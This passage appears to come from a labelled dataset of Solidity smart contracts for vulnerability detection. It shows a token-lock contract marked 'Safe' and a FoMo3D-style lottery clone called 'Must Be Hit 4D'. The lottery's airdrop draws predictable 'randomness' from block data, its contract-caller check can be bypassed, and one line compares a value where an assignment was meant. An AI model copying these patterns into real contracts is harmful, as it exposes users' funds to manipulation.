address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 27561600; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x6748D59A6aCCeE1E76d62345da53AD52c220Eb97; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 748.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa6fd21aa986247357f404aa37a7bc90809da1ad8); address public ceo; address public cfo; string constant public name = ""Must Be Hit 4D""; string constant public symbol = ""MBT4D""; uint256 private rndExtra_ = 30 seconds; uint256 private rndGap_ = 30 seconds; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 12 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { ceo = msg.sender; cfo = msg.sender; fees_[0] = F3Ddatasets.TeamFee(30,0); fees_[1] = F3Ddatasets.TeamFee(60,0); fees_[2] = F3Ddatasets.TeamFee(20,0); fees_[3] = F3Ddatasets.TeamFee(40,0); potSplit_[0] = F3Ddatasets.PotSplit(25,0); potSplit_[1] = F3Ddatasets.PotSplit(30,0); potSplit_[2] = F3Ddatasets.PotSplit(10,0); potSplit_[3] = F3Ddatasets.PotSplit(20,0); } modifier isActivated() { require(activated_ == true, ""Not Active!""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""Not Human""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""Too Less""); require(_eth <= 100000000000000000000000, ""Too More""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function modCEOAddress(address newCEO) isHuman() public { require(address(0) != newCEO, ""CEO Can not be 0""); require(ceo == msg.sender, ""only ceo can modify ceo""); ceo = newCEO; } function modCFOAddress(address newCFO) isHuman() public { require(address(0) != newCFO, ""CFO Can not be 0""); require(cfo == msg.sender, ""only cfo can modify cfo""); cfo = newCFO; } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 7500000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; uint256 _pot = round_[_rID].pot; uint256 _win = (_pot.mul(55)) / 100; uint256 _com = (_pot / 20); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); _com = _com.add(_p3d); cfo.transfer(_com); round_[_rID].mask = _ppt.add(round_[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 20; uint256 _aff = _eth / 10; if (_team == 0 ) { _aff = _eth.mul(30) / 100; } if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _com = _com.add(_aff); } cfo.transfer(_com); return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth / 20); airDropPot_ = airDropPot_.add(_air); if (_team == 0){ _eth = _eth.sub(((_eth.mul(40)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); }else{ _eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); } uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require( msg.sender == ceo, ""ONLY ceo CAN activate"" ); require(activated_ == false, ""Already Activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 p3d; } struct PotSplit { uint256 gen; uint256 p3d; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(31250000000000000000000000000)).add(56249882812561035156250000000000000000000000000000000000000000000000)).sqrt()).sub(7499992187500000000000000000000000)) / (15625000000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((7812500000).mul(_keys.sq()).add((7499992187500000).mul(_keys.mul(1000000000000000000)))) / ((1000000000000000000).sq()) ; } } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""Invalid Length""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""Can NOT start with SPACE""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""CAN NOT Start With 0x""); require(_temp[1] != 0x58, ""CAN NOT Start With 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""Include Illegal Characters!"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""ONLY One Space Allowed""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""All Numbers Not Allowed""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""Mul Failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""Sub Failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""Add Failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) 